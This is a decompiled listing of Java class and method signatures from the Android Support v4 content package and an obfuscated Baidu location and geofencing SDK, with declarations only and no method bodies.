    protected void onStopLoading();
    public void onCanceled(android.database.Cursor);
    protected void onReset();
    public android.net.Uri getUri();
    public void setUri(android.net.Uri);
    public String[] getProjection();
    public void setProjection(String[]);
    public String getSelection();
    public void setSelection(String);
    public String[] getSelectionArgs();
    public void setSelectionArgs(String[]);
    public String getSortOrder();
    public void setSortOrder(String);
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/ModernAsyncTask$3.class


package android.support.v4.content;
synchronized class ModernAsyncTask$3 extends java.util.concurrent.FutureTask {
    void ModernAsyncTask$3(ModernAsyncTask, java.util.concurrent.Callable);
    protected void done();
}










android/support/v4/content/Loader.class


package android.support.v4.content;
public synchronized class Loader {
    int mId;
    Loader$OnLoadCompleteListener mListener;
    android.content.Context mContext;
    boolean mStarted;
    boolean mAbandoned;
    boolean mReset;
    boolean mContentChanged;
    public void Loader(android.content.Context);
    public void deliverResult(Object);
    public android.content.Context getContext();
    public int getId();
    public void registerListener(int, Loader$OnLoadCompleteListener);
    public void unregisterListener(Loader$OnLoadCompleteListener);
    public boolean isStarted();
    public boolean isAbandoned();
    public boolean isReset();
    public final void startLoading();
    protected void onStartLoading();
    public void forceLoad();
    protected void onForceLoad();
    public void stopLoading();
    protected void onStopLoading();
    public void abandon();
    protected void onAbandon();
    public void reset();
    protected void onReset();
    public boolean takeContentChanged();
    public void onContentChanged();
    public String dataToString(Object);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/LocalBroadcastManager.class


package android.support.v4.content;
public synchronized class LocalBroadcastManager {
    private static final String TAG = LocalBroadcastManager;
    private static final boolean DEBUG = 0;
    private final android.content.Context mAppContext;
    private final java.util.HashMap mReceivers;
    private final java.util.HashMap mActions;
    private final java.util.ArrayList mPendingBroadcasts;
    static final int MSG_EXEC_PENDING_BROADCASTS = 1;
    private final android.os.Handler mHandler;
    private static final Object mLock;
    private static LocalBroadcastManager mInstance;
    public static LocalBroadcastManager getInstance(android.content.Context);
    private void LocalBroadcastManager(android.content.Context);
    public void registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter);
    public void unregisterReceiver(android.content.BroadcastReceiver);
    public boolean sendBroadcast(android.content.Intent);
    public void sendBroadcastSync(android.content.Intent);
    private void executePendingBroadcasts();
    static void <clinit>();
}










android/support/v4/content/ContextCompatHoneycomb.class


package android.support.v4.content;
synchronized class ContextCompatHoneycomb {
    void ContextCompatHoneycomb();
    static void startActivities(android.content.Context, android.content.Intent[]);
}










android/support/v4/content/ModernAsyncTask$2.class


package android.support.v4.content;
synchronized class ModernAsyncTask$2 extends ModernAsyncTask$WorkerRunnable {
    void ModernAsyncTask$2(ModernAsyncTask);
    public Object call() throws Exception;
}










android/support/v4/content/ContextCompatJellybean.class


package android.support.v4.content;
synchronized class ContextCompatJellybean {
    void ContextCompatJellybean();
    public static void startActivities(android.content.Context, android.content.Intent[], android.os.Bundle);
}










android/support/v4/content/ModernAsyncTask$4.class


package android.support.v4.content;
synchronized class ModernAsyncTask$4 {
    static void <clinit>();
}










android/support/v4/content/ModernAsyncTask$WorkerRunnable.class


package android.support.v4.content;
abstract synchronized class ModernAsyncTask$WorkerRunnable implements java.util.concurrent.Callable {
    Object[] mParams;
    private void ModernAsyncTask$WorkerRunnable();
}










android/support/v4/content/Loader$ForceLoadContentObserver.class


package android.support.v4.content;
public final synchronized class Loader$ForceLoadContentObserver extends android.database.ContentObserver {
    public void Loader$ForceLoadContentObserver(Loader);
    public boolean deliverSelfNotifications();
    public void onChange(boolean);
}










android/support/v4/content/ModernAsyncTask$AsyncTaskResult.class


package android.support.v4.content;
synchronized class ModernAsyncTask$AsyncTaskResult {
    final ModernAsyncTask mTask;
    final Object[] mData;
    transient void ModernAsyncTask$AsyncTaskResult(ModernAsyncTask, Object[]);
}










android/support/v4/content/LocalBroadcastManager$1.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$1 extends android.os.Handler {
    void LocalBroadcastManager$1(LocalBroadcastManager, android.os.Looper);
    public void handleMessage(android.os.Message);
}










android/support/v4/content/pm/ActivityInfoCompat.class


package android.support.v4.content.pm;
public synchronized class ActivityInfoCompat {
    public static final int CONFIG_UI_MODE = 512;
    private void ActivityInfoCompat();
}










android/support/v4/content/AsyncTaskLoader$LoadTask.class


package android.support.v4.content;
final synchronized class AsyncTaskLoader$LoadTask extends ModernAsyncTask implements Runnable {
    Object result;
    boolean waiting;
    private java.util.concurrent.CountDownLatch done;
    void AsyncTaskLoader$LoadTask(AsyncTaskLoader);
    protected transient Object doInBackground(Void[]);
    protected void onPostExecute(Object);
    protected void onCancelled();
    public void run();
}










android/support/v4/content/IntentCompatHoneycomb.class


package android.support.v4.content;
synchronized class IntentCompatHoneycomb {
    void IntentCompatHoneycomb();
    public static android.content.Intent makeMainActivity(android.content.ComponentName);
    public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/IntentCompat$IntentCompatImpl.class


package android.support.v4.content;
abstract interface IntentCompat$IntentCompatImpl {
    public abstract android.content.Intent makeMainActivity(android.content.ComponentName);
    public abstract android.content.Intent makeMainSelectorActivity(String, String);
    public abstract android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/ContextCompat.class


package android.support.v4.content;
public synchronized class ContextCompat {
    public void ContextCompat();
    public static boolean startActivities(android.content.Context, android.content.Intent[]);
    public static boolean startActivities(android.content.Context, android.content.Intent[], android.os.Bundle);
}










android/support/v4/content/ModernAsyncTask$Status.class


package android.support.v4.content;
public final synchronized enum ModernAsyncTask$Status {
    public static final ModernAsyncTask$Status PENDING;
    public static final ModernAsyncTask$Status RUNNING;
    public static final ModernAsyncTask$Status FINISHED;
    public static ModernAsyncTask$Status[] values();
    public static ModernAsyncTask$Status valueOf(String);
    private void ModernAsyncTask$Status(String, int);
    static void <clinit>();
}
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com/baidu/location/e.class


package com.baidu.location;
public synchronized class e {
    public void e();
    public static void a(android.content.Context, android.app.PendingIntent, int);
    public static void a(android.content.Context, android.app.PendingIntent);
}










com/baidu/location/BDErrorReport.class


package com.baidu.location;
public abstract synchronized class BDErrorReport {
    private String a;
    public abstract void onReportResult(boolean);
    public void BDErrorReport();
    public void BDErrorReport(BDErrorReport);
    public int setErrorInfo(boolean, double, double, boolean, String, double, double, String, String);
    public android.os.Bundle getErrorInfo();
}










com/baidu/location/BDGeofence$Builder.class


package com.baidu.location;
public final synchronized class BDGeofence$Builder {
    private String do;
    private double for;
    private double try;
    private int a;
    private boolean new;
    private long if;
    private String int;
    public void BDGeofence$Builder();
    public BDGeofence$Builder setExpirationDruation(long);
    public BDGeofence$Builder setCircularRegion(double, double, int);
    public BDGeofence$Builder setGeofenceId(String);
    public BDGeofence$Builder setCoordType(String);
    public BDGeofence build();
}










com/baidu/location/BDGeofence.class


package com.baidu.location;
public abstract interface BDGeofence {
    public static final int GEOFENCE_TRANSITION_ENTER = 1;
    public static final String COORD_TYPE_BD09 = bd09;
    public static final String COORD_TYPE_BD09LL = bd09ll;
    public static final String COORD_TYPE_GCJ = gcj02;
    public static final int RADIUS_TYPE_SMALL = 1;
    public static final int RADIUS_TYPE_MIDDELE = 2;
    public static final int RADIUS_TYPE_LARGE = 3;
    public abstract String getGeofenceId();
}










com/baidu/location/ah.class


package com.baidu.location;
public synchronized class ah implements BDGeofence {
    private static final int d = 100;
    private static final long void = 2592000;
    public static final int int = 1;
    private static final int e = 2;
    private static final String for = Circle;
    private static final String byte = Administrative;
    private static final int else = 1;
    private static final int case = 2;
    private static final int h = 3;
    private final String do;
    private final double goto;
    private final double try;
    private final int a;
    private float b;
    private final long long;
    private final int c;
    private final String new;
    private boolean f;
    private boolean char;
    private boolean if;
    private long g;
    public void ah(String, double, double, int, long, String);
    public void ah(int, String, double, double, int, long, String);
    public String getGeofenceId();
    public double byte();
    public double a();
    public float do();
    public void a(float);
    public long else();
    public String int();
    public boolean try();
    public void do(boolean);
    public boolean for();
    public void if(boolean);
    public boolean if();
    public void a(boolean);
    public long char();
    public void a(long);
    public int case();
    public int new();
    private static void if(String);
    private static void if(int);
    private static void a(double, double);
    private static void a(String);
    private static void if(long);
    private static String a(int);
    public String toString();
    public boolean equals(Object);
}










com/baidu/location/BDLocation$1.class


package com.baidu.location;
final synchronized class BDLocation$1 implements android.os.Parcelable$Creator {
    void BDLocation$1();
    public BDLocation a(android.os.Parcel);
    public BDLocation[] a(int);
}










com/baidu/location/BDLocation$a.class


package com.baidu.location;
public synchronized class BDLocation$a {
    public String if;
    public String new;
    public String int;
    public String byte;
    public String do;
    public String for;
    public String try;
    public void BDLocation$a(BDLocation);
}










com/baidu/location/BDLocation.class


package com.baidu.location;
public final synchronized class BDLocation implements j, android.os.Parcelable {
    public static final int TypeNone = 0;
    public static final int TypeGpsLocation = 61;
    public static final int TypeCriteriaException = 62;
    public static final int TypeNetWorkException = 63;
    public static final int TypeOffLineLocation = 66;
    public static final int TypeOffLineLocationFail = 67;
    public static final int TypeOffLineLocationNetworkFail = 68;
    public static final int TypeNetWorkLocation = 161;
    public static final int TypeCacheLocation = 65;
    public static final int TypeServerError = 167;
    private int h1;
    private String ii;
    private double ia;
    private double h3;
    private boolean ih;
    private double ik;
    private boolean h4;
    private float h5;
    private boolean h6;
    private float ic;
    private boolean ie;
    private int h2;
    private float h9;
    private String ib;
    private String h7;
    private boolean id;
    private boolean h8;
    private String h0;
    private boolean ij;
    private BDLocation$a il;
    private String ig;
    public static final android.os.Parcelable$Creator CREATOR;
    public void BDLocation();
    public void BDLocation(BDLocation);
    public void BDLocation(String);
    public String toJsonString();
    private void if(Boolean);
    public boolean isCellChangeFlag();
    public String getTime();
    public void setTime(String);
    public double getLatitude();
    public void setLatitude(double);
    public double getLongitude();
    public void setLongitude(double);
    public double getAltitude();
    public void setAltitude(double);
    public float getSpeed();
    public void setSpeed(float);
    public float getRadius();
    public void setRadius(float);
    public String getCoorType();
    public void setCoorType(String);
    public void setAddrStr(String);
    public boolean hasAltitude();
    public boolean hasSpeed();
    public boolean hasRadius();
    public BDLocation toNewLocation(String);
    public void setLocType(int);
    public int getLocType();
    public void setSatelliteNumber(int);
    public int getSatelliteNumber();
    public void setDerect(float);
    public float getDerect();
    public boolean hasSateNumber();
    public boolean hasPoi();
    public String getPoi();
    public void setPoi(String);
    public boolean hasAddr();
    public String getAddrStr();
    public String getProvince();
    public String getCity();
    public String getCityCode();
    public String getDistrict();
    public String getStreet();
    public String getStreetNumber();
    public String getFloor();
    public int describeContents();
    private void BDLocation(android.os.Parcel);
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










com/baidu/location/BDLocationListener.class


package com.baidu.location;
public abstract interface BDLocationListener {
    public abstract void onReceiveLocation(BDLocation);
    public abstract void onReceivePoi(BDLocation);
}










com/baidu/location/BDLocationStatusCodes.class


package com.baidu.location;
public final synchronized class BDLocationStatusCodes {
    public static final int SUCCESS = 0;
    public static final int ERROR = 1;
    public static final int GEOFENCE_NOT_AVAIABLE = 1000;
    public static final int GEOFENCE_TOO_MANY_GEOFENCES = 1001;
    public static final int GEOFENCE_SERVICE_NO_ALIVIABLE = 1002;
    public void BDLocationStatusCodes();
    public static int getStatusCode(int);
}










com/baidu/location/BDNotifyListener.class


package com.baidu.location;
public abstract synchronized class BDNotifyListener {
    public double mLatitude;
    public double mLongitude;
    public float mRadius;
    public float differDistance;
    public String mCoorType;
    public double mLatitudeC;
    public double mLongitudeC;
    public int Notified;
    public boolean isAdded;
    public u mNotifyCache;
    public void BDNotifyListener();
    public void SetNotifyLocation(double, double, float, String);
    public void onNotify(BDLocation, float);
}










com/baidu/location/n$a.class


package com.baidu.location;
public synchronized class n$a {
    public int for;
    public int try;
    public int do;
    public int if;
    public long byte;
    public int int;
    public char new;
    public void n$a(n);
    public void n$a(n, int, int, int, int, char);
    public boolean a(n$a);
    public boolean do();
    public boolean for();
    public String a();
    public String toString();
    public String if();
    public String int();
}










com/baidu/location/n$b.class


package com.baidu.location;
synchronized class n$b extends android.telephony.PhoneStateListener {
    public void n$b(n);
    public void onCellLocationChanged(android.telephony.CellLocation);
    public void onSignalStrengthsChanged(android.telephony.SignalStrength);
}










com/baidu/location/n.class


package com.baidu.location;
synchronized class n implements an, j {
    private static n cy;
    private android.telephony.TelephonyManager cz;
    private n$a ct;
    private java.util.List cx;
    private static String cA;
    private n$b cw;
    private boolean cG;
    private static reflect.Method cE;
    private static reflect.Method cB;
    private static reflect.Method cv;
    private static Class cI;
    private static long cF;
    private static int cH;
    private static boolean cC;
    private int cD;
    private int cu;
    public static n K();
    private void n();
    public void J();
    public void O();
    public int M();
    public String L();
    private boolean I();
    public n$a H();
    private void if(android.telephony.CellLocation);
    static void <clinit>();
}










com/baidu/location/q$a.class


package com.baidu.location;
synchronized class q$a {
    void q$a();
    public static String a(byte[]);
}










com/baidu/location/q.class


package com.baidu.location;
public synchronized class q {
    public void q();
    public static String a(android.content.Context);
    private static String a(android.content.Context, String);
    static String a(java.security.cert.X509Certificate);
    static byte[] a(byte[]);
}










com/baidu/location/g$a.class


package com.baidu.location;
synchronized class g$a {
    public String int;
    public android.os.Messenger for;
    public LocationClientOption do;
    public int if;
    public void g$a(g, android.os.Message);
    public void a(BDLocation);
    public void a(BDLocation, int);
    public void if(BDLocation);
    public void a();
    public void if();
    private void a(int);
    private void a(int, String, BDLocation);
}










com/baidu/location/g.class


package com.baidu.location;
synchronized class g implements an, j {
    private static g bl;
    private java.util.ArrayList bk;
    private boolean bm;
    private boolean bj;
    public static g g();
    private void g();
    public boolean void();
    public void new(android.os.Message);
    public void do(android.os.Message);
    public boolean int(android.os.Message);
    public String if(android.os.Message);
    public void if(BDLocation, int);
    public void do(BDLocation);
    public void try(String);
    public void if(BDLocation, android.os.Message);
    public void goto();
    public String f();
    public int for(android.os.Message);
    private g$a if(android.os.Messenger);
    private void if(g$a);
    private void long();
    private void d();
    public void e();
    static void <clinit>();
}










com/baidu/location/an.class


package com.baidu.location;
abstract interface an {
    public static final String l = baidu_location_service;
    public static final String L;
    public static final int I = 12000;
    public static final int goto = 1;
    public static final int byte = 2;
    public static final int n = 3;
    public static final int u = 4;
    public static final int R = 2048;
    public static final int g = 0;
    public static final int O = 1;
    public static final int T = 11;
    public static final int b = 12;
    public static final int H = 13;
    public static final int c = 14;
    public static final int t = 15;
    public static final int N = 21;
    public static final int J = 22;
    public static final int r = 23;
    public static final int e = 24;
    public static final int try = 25;
    public static final int void = 26;
    public static final int s = 27;
    public static final int q = 28;
    public static final int k = 31;
    public static final int A = 41;
    public static final int h = 42;
    public static final int long = 43;
    public static final int F = 51;
    public static final int i = 52;
    public static final int G = 53;
    public static final int D = 54;
    public static final int E = 55;
    public static final int C = 56;
    public static final int p = 57;
    public static final int P = 61;
    public static final int x = 62;
    public static final int v = 63;
    public static final int Q = 64;
    public static final int K = 65;
    public static final int z = 71;
    public static final int B = 81;
    public static final int y = 91;
    public static final int else = 92;
    public static final int o = 101;
    public static final int j = 110;
    public static final int case = 111;
    public static final int w = 201;
    public static final int d = 202;
    public static final int new = 203;
    public static final int f = 204;
    public static final int S = 205;
    public static final int m = 206;
    public static final int M = 207;
    public static final int char = 208;
    static void <clinit>();
}










com/baidu/location/ap.class


package com.baidu.location;
synchronized class ap implements an, j {
    private static ap he;
    String hc;
    String ha;
    String hd;
    public static String hb;
    public static String g7;
    public static String g8;
    public static String g9;
    public static ap bD();
    void ap();
    public void int(String, String);
    public String bC();
    public String bE();
    public String try(boolean);
    static void <clinit>();
}










com/baidu/location/t$a.class


package com.baidu.location;
synchronized class t$a extends o {
    String cX;
    boolean cW;
    boolean cY;
    public void t$a(t);
    void V();
    void if(boolean);
    public void if(String, boolean);
}










com/baidu/location/t.class


package com.baidu.location;
synchronized class t implements an, j {
    private static t fa;
    private t$a e3;
    private boolean e7;
    public static boolean e6;
    public static boolean e9;
    public static boolean fb;
    public static boolean e0;
    public static boolean e1;
    public static boolean e5;
    private static final int e8 = 128;
    private static final String e2;
    public static int fc;
    public static int e4;
    public static int fd;
    public static t aK();
    private void t();
    public void aM();
    public boolean i(String);
    public static void aI();
    public static void aN();
    public void aL();
    public void h(String);
    private void if(org.apache.http.HttpEntity);
    private void do(org.apache.http.HttpEntity);
    public static void new(int);
    public static void aJ();
    public static void aO();
    public static void int(int);
    static void <clinit>();
}










com/baidu/location/i.class


package com.baidu.location;
public synchronized class i extends android.database.sqlite.SQLiteOpenHelper {
    private static final String do = bd_geofence.db;
    private static final int if = 1;
    private static i a;
    public void i(android.content.Context);
    public static synchronized i a(android.content.Context);
    public void onCreate(android.database.sqlite.SQLiteDatabase);
    public void onUpgrade(android.database.sqlite.SQLiteDatabase, int, int);
    private void a(android.database.sqlite.SQLiteDatabase);
}










com/baidu/location/v.class


package com.baidu.location;
public synchronized class v implements Thread$UncaughtExceptionHandler, an, j {
    void v(android.content.Context);
    public void uncaughtException(Thread, Throwable);
    public void if(java.io.File, String, String);
    public void aS();
    private String if(Throwable);
    boolean for(String, String);
}










com/baidu/location/ab$a.class


package com.baidu.location;
synchronized class ab$a extends o {
    boolean da;
    String c8;
    android.os.Messenger c9;
    public void ab$a(ab);
    void V();
    void if(boolean);
    public void try(android.os.Message);
}










com/baidu/location/ab.class


package com.baidu.location;
synchronized class ab {
    private static ab goto;
    private String int;
    private String byte;
    private String else;
    public String new;
    private boolean a;
    private String case;
    private String do;
    private ab$a try;
    private long char;
    private long for;
    private long if;
    public static ab a();
    private void ab();
    public void do();
    public void if();
    public void a(android.os.Message);
    public void a(String);
    public void if(String);
}










com/baidu/location/f$a.class


package com.baidu.location;
public synchronized class f$a extends android.os.Handler {
    public void f$a(f, android.os.Looper);
    public void handleMessage(android.os.Message);
}










com/baidu/location/f.class


package com.baidu.location;
public final synchronized class f extends android.app.Service implements an, j {
    static f$a gR;
    android.os.Messenger gS;
    private static android.content.Context gQ;
    public static boolean isServing;
    private android.os.Looper gT;
    private android.os.HandlerThread gP;
    public void f();
    public void onCreate();
    private void bx();
    public android.os.IBinder onBind(android.content.Intent);
    public void onDestroy();
    private void bw();
    public int onStartCommand(android.content.Intent, int, int);
    public static android.content.Context getServiceContext();
    public static android.os.Handler getHandler();
    private void e(android.os.Message);
    private void d(android.os.Message);
    private void f(android.os.Message);
    private void void(android.os.Message);
    static void <clinit>();
}










com/baidu/location/w.class


package com.baidu.location;
abstract interface w {
    public static final boolean if = 1;
    public static final boolean do = 0;
}










com/baidu/location/GeofenceClient$1.class


package com.baidu.location;
synchronized class GeofenceClient$1 implements android.content.ServiceConnection {
    void GeofenceClient$1(GeofenceClient);
    public void onServiceConnected(android.content.ComponentName, android.os.IBinder);
    public void onServiceDisconnected(android.content.ComponentName);
}










com/baidu/location/GeofenceClient$a.class


package com.baidu.location;
synchronized class GeofenceClient$a extends android.os.Handler {
    private void GeofenceClient$a(GeofenceClient);
    public void handleMessage(android.os.Message);
}










com/baidu/location/GeofenceClient$OnAddBDGeofencesResultListener.class


package com.baidu.location;
public abstract interface GeofenceClient$OnAddBDGeofencesResultListener {
    public abstract void onAddBDGeofencesResult(int, String);
}










com/baidu/location/GeofenceClient$OnGeofenceTriggerListener.class


package com.baidu.location;
public abstract interface GeofenceClient$OnGeofenceTriggerListener {
    public abstract void onGeofenceTrigger(String);
}










com/baidu/location/GeofenceClient$OnRemoveBDGeofencesResultListener.class


package com.baidu.location;
public abstract interface GeofenceClient$OnRemoveBDGeofencesResultListener {
    public abstract void onRemoveBDGeofencesByRequestIdsResult(int, String[]);
}










com/baidu/location/GeofenceClient.class


package com.baidu.location;
public synchronized class GeofenceClient implements an, j {
    private static final int ba = 1;
    public static final String BUNDLE_FOR_GEOFENCE_ID = geofence_id;
    private android.content.Context a6;
    private boolean bc;
    private android.os.Messenger bb;
    private GeofenceClient$a bd;
    private android.os.Messenger a9;
    private GeofenceClient$OnGeofenceTriggerListener a7;
    private android.content.ServiceConnection a8;
    public void GeofenceClient(android.content.Context);
    public void start() throws NullPointerException;
    private void byte();
    public boolean isStarted();
    public void registerGeofenceTriggerListener(GeofenceClient$OnGeofenceTriggerListener);
    public void addBDGeofence(BDGeofence, GeofenceClient$OnAddBDGeofencesResultListener) throws NullPointerException, IllegalArgumentException, IllegalStateException;
    public void removeBDGeofences(java.util.List, GeofenceClient$OnRemoveBDGeofencesResultListener) throws NullPointerException, IllegalArgumentException;
    private void for(String);
    public void startGeofenceScann();
    public void stop();
    private void case();
}










com/baidu/location/al$1.class


package com.baidu.location;
synchronized class al$1 implements Runnable {
    void al$1(al, ah);
    public void run();
}










com/baidu/location/al$2.class


package com.baidu.location;
synchronized class al$2 implements Runnable {
    void al$2(al);
    public void run();
}










com/baidu/location/al$c.class


package com.baidu.location;
synchronized class al$c implements Runnable {
    private final ah do;
    private final String if;
    private final GeofenceClient$OnAddBDGeofencesResultListener for;
    public void al$c(al, ah, String, GeofenceClient$OnAddBDGeofencesResultListener);
    public void run();
}










com/baidu/location/al$b.class


package com.baidu.location;
synchronized class al$b extends o {
    private static final String dg = fence;
    private static final String de = ext;
    private static final String dj = wf;
    private static final String df = cl;
    private static final String dl = radius;
    private static final String dh = lac;
    private static final String dc = error;
    private static final int dd = -3;
    private final ah dm;
    private GeofenceClient$OnAddBDGeofencesResultListener db;
    private int dk;
    public void al$b(al, ah, GeofenceClient$OnAddBDGeofencesResultListener);
    public void V();
    public void if(boolean);
    public void Z();
}










com/baidu/location/al$a.class


package com.baidu.location;
synchronized class al$a extends android.os.Handler {
    public static final int if = 0;
    public static final int do = 2;
    public static final int for = 3;
    public void al$a(al, android.os.Looper);
    public void handleMessage(android.os.Message);
}










com/baidu/location/al$d.class


package com.baidu.location;
synchronized class al$d implements Runnable {
    private final java.util.List if;
    private final GeofenceClient$OnRemoveBDGeofencesResultListener do;
    public void al$d(al, java.util.List, GeofenceClient$OnRemoveBDGeofencesResultListener);
    public void run();
}










com/baidu/location/al.class


package com.baidu.location;
public synchronized class al implements an, j {
    public static final int gC = 10;
    private static final String l = GeofenceMan;
    private static final String gA = GeofenceMan;
    private static final String gD = http://loc.map.baidu.com/fence;
    private static final String gF = ;;
    private static final String gH = status_code;
    private static final String gE = geofence_id;
    private static final String gO = geofence_ids;
    private static final int gM = 1;
    private static final int gL = 2;
    private static final int gB = 3;
    private static final int gK = 5;
    private android.content.Context gz;
    private al$a gN;
    private android.os.HandlerThread gJ;
    private Object gG;
    private static al gI;
    public void al();
    private String bp();
    public static al for(android.content.Context);
    public void if(ah, GeofenceClient$OnAddBDGeofencesResultListener);
    public void if(ah);
    public synchronized void k(String);
    public void if(java.util.List, GeofenceClient$OnRemoveBDGeofencesResultListener);
    private synchronized long bv();
    private void if(int, String, GeofenceClient$OnAddBDGeofencesResultListener);
    private void if(int, String[], GeofenceClient$OnRemoveBDGeofencesResultListener);
    private void bt();
    public void bq();
    private final void bu();
    private synchronized int if(ah, String);
    private synchronized int do(java.util.List);
    private synchronized void bs();
    private void br();
    private void if(GeofenceClient$OnAddBDGeofencesResultListener, int, String);
    public static void int(android.content.Context);
    public static int do(android.content.Context);
}










com/baidu/location/aq$1.class


package com.baidu.location;
synchronized class aq$1 {
}










com/baidu/location/aq$c.class


package com.baidu.location;
public synchronized class aq$c extends android.content.BroadcastReceiver {
    public void aq$c(aq);
    public void onReceive(android.content.Context, android.content.Intent);
}










com/baidu/location/aq$b.class


package com.baidu.location;
synchronized class aq$b extends z {
    private void aq$b(aq);
    void byte(android.os.Message);
    void ab();
}










com/baidu/location/aq$d.class


package com.baidu.location;
synchronized class aq$d implements Runnable, a {
    private void aq$d(aq);
    public void run();
}










com/baidu/location/aq$a.class


package com.baidu.location;
synchronized class aq$a extends o {
    private static final String dp = fence;
    private static final String ds = ext;
    private static final String dr = bloc;
    private static final String dt = error;
    private static final String dv = in;
    private ah dq;
    private final String du;
    public void aq$a(aq, ah, String);
    void V();
    void if(boolean);
    public void aa();
}










com/baidu/location/aq.class


package com.baidu.location;
public synchronized class aq implements j {
    private static final int iv = 30000;
    private static final int iL = 180000;
    private static final int iw = 360000;
    private static final int iN = 60000;
    public static final long iE = 21600000;
    private static final int iy = 6;
    public static final String iS = http://loc.map.baidu.com/fence;
    private static final String iK = com.baidu.locsdk.geofence.geofencestrategyservice;
    private static final String iV = &gf=1;
    private static final String iF = 1;
    private static final String iR = 0;
    private static final String iu = GeofenceStrategyService;
    private static final String iB = GeofenceStrategyService;
    private boolean iz;
    private java.util.List iW;
    private android.os.PowerManager$WakeLock iJ;
    private android.os.HandlerThread iO;
    private aq$d iD;
    private aq$c iI;
    private boolean iA;
    private String iC;
    private String iH;
    private ai$b iX;
    private ai$b iU;
    private String ix;
    private String iT;
    private android.os.Messenger iQ;
    private int iM;
    public static aq iP;
    private android.os.Handler iG;
    public void aq();
    public static aq b2();
    private void b0();
    private void bZ();
    private void bY();
    private void do(ah);
    private java.util.List b1();
    private boolean bX();
    private void new(android.content.Context);
    private void bW();
    public void if(android.content.Context, android.os.Message);
    public void try(android.content.Context);
    public void byte(android.content.Context);
    public void if(android.content.Context, int);
    public java.util.List m(String);
    public java.util.List for(java.util.List);
}










com/baidu/location/s$1.class


package com.baidu.location;
synchronized class s$1 extends android.os.Handler {
    void s$1(s);
    public void handleMessage(android.os.Message);
}










com/baidu/location/s$a.class


package com.baidu.location;
synchronized class s$a implements android.location.GpsStatus$Listener, android.location.GpsStatus$NmeaListener {
    long if;
    private long a;
    private final int char;
    private boolean try;
    private boolean byte;
    private java.util.List case;
    private String for;
    private String new;
    private String do;
    private void s$a(s);
    public void onGpsStatusChanged(int);
    public void onNmeaReceived(long, String);
    public void a(String);
}










com/baidu/location/s$b.class


package com.baidu.location;
synchronized class s$b implements android.location.LocationListener {
    private void s$b(s);
    public void onLocationChanged(android.location.Location);
    public void onProviderDisabled(String);
    public void onProviderEnabled(String);
    public void onStatusChanged(String, int, android.os.Bundle);
}










com/baidu/location/s$c.class


package com.baidu.location;
synchronized class s$c implements android.location.LocationListener {
    private long if;
    private void s$c(s);
    public void onLocationChanged(android.location.Location);
    public void onProviderDisabled(String);
    public void onProviderEnabled(String);
    public void onStatusChanged(String, int, android.os.Bundle);
}










com/baidu/location/s.class


package com.baidu.location;
synchronized class s implements an, j {
    private static final int eF = 3;
    private final long eX;
    private static final int eG = 5;
    private static final int eA = 1;
    private static final int eE = 3000;
    private static final double eR = 1.0E-5;
    private static s eM;
    private android.content.Context eS;
    private android.location.LocationManager eY;
    private android.location.Location eW;
    private s$b eV;
    private s$c eP;
    private android.location.GpsStatus eH;
    private s$a eJ;
    private static int eU;
    private long eK;
    private long ex;
    private boolean ev;
    private boolean eC;
    private String ey;
    private boolean eT;
    private long eO;
    private long eZ;
    private static String eL;
    private static String eI;
    private static java.io.File ez;
    private android.os.Handler eQ;
    private final int eN;
    private final int ew;
    private final int eD;
    private final int eB;
    public static s aH();
    private void s();
    public void aB();
    private void if(String, android.location.Location);
    public void aF();
    public void aG();
    public void aD();
    public String aC();
    public void do(boolean);
    public String aE();
    public static String byte(android.location.Location);
    public String aw();
    public android.location.Location az();
    public boolean aA();
    public boolean ay();
    private boolean ax();
    public static boolean if(android.location.Location, android.location.Location, boolean);
    private void int(android.location.Location);
    private void for(android.location.Location);
    private void if(double, double, float);
    private void for(boolean);
    public static String try(android.location.Location);
    public static String new(android.location.Location);
    static void <clinit>();
}










com/baidu/location/r.class


package com.baidu.location;
public synchronized class r implements an, j {
    private static r ek;
    private static String ea;
    private static java.io.File d0;
    private static final int dX = 12;
    private static final int d6 = 1024;
    private static final int ee = 750;
    private static final int eh = 100;
    private static final int ed = 5;
    private static final int ef = 1000;
    private static final int dZ = 5;
    private static final int d1 = 3600;
    private static StringBuffer dY;
    private static boolean d5;
    private static int eb;
    private static int ej;
    private static long d4;
    private static long d3;
    private static long el;
    private static double d8;
    private static double d9;
    private static int d2;
    private static int d7;
    private static int ec;
    private String eg;
    private boolean ei;
    public static r ar();
    private void as();
    public void av();
    private void r(String);
    public boolean do(android.location.Location);
    private boolean if(android.location.Location, int, int);
    private boolean au();
    private boolean d(String);
    private String do(int);
    private void ap();
    private static void aq();
    public static String at();
    private static boolean ao();
    private static boolean if(int, int, int);
    static void <clinit>();
}










com/baidu/location/x$c.class


package com.baidu.location;
public synchronized class x$c extends android.os.Handler {
    public void x$c(x);
    public void handleMessage(android.os.Message);
}










com/baidu/location/x$b.class


package com.baidu.location;
synchronized class x$b extends o {
    private boolean c2;
    private boolean c1;
    private String c0;
    private String c3;
    public void x$b(x);
    synchronized void V();
    void if(boolean);
    public void Y();
    public synchronized void X();
}










com/baidu/location/x$a.class


package com.baidu.location;
synchronized class x$a extends Thread {
    private volatile boolean do;
    private long if;
    void x$a(x);
    public void run();
}










com/baidu/location/x.class


package com.baidu.location;
synchronized class x implements j, an {
    private static x fu;
    private long fA;
    private volatile boolean fC;
    public x$c fF;
    private aa fB;
    private x$a fy;
    private x$b fx;
    private long fw;
    private boolean fz;
    private boolean fv;
    private long fE;
    private int fD;
    public static x aU();
    private void x();
    public synchronized void aV();
    public synchronized void aX();
    public boolean aY();
    public boolean aW();
    private void aT();
    private void long(android.os.Message);
}










com/baidu/location/Jni.class


package com.baidu.location;
synchronized class Jni implements an, j {
    private static int eu;
    private static int es;
    private static int et;
    private static int ep;
    private static int eq;
    private static int en;
    private static int em;
    private static int eo;
    private static boolean er;
    void Jni();
    private static native String a(byte[], int);
    private static native String b(double, double, int, int);
    private static native String c(byte[], int);
    public static String e(String);
    public static String f(String);
    public static double[] if(double, double, String);
    static void <clinit>();
}










com/baidu/location/a.class


package com.baidu.location;
abstract interface a {
    public static final boolean a = 0;
}










com/baidu/location/LocationClient$1.class


package com.baidu.location;
